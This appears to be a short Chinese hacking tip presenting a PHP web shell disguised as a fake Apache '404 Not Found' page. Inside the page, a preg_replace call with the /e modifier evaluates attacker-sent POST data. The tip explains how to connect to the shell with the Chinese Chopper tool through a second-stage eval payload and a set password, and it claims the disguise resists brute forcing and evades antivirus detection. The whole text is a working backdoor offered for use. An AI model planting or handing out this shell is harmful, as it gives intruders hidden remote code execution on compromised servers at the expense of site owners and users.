把一句话搞隐蔽点，搞个404页面。 然后采用核心代码
404一句话代码：
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server.</p> </body></html>
<?php
@preg_replace("/[checksql]/e",$_POST['date'],"saft"); header('HTTP/1.1 404 Not Found');
?>
//菜刀连接方法，在菜刀里面配置栏加上
<O>date=@eval($_POST[paxmac]);</O>
密码为paxmac
@preg_replace(“/[checksql]/e”,$_POST['date'],”saft”);
这样可以有效的防止暴力破解还达到免杀的效果。404一句话代码：
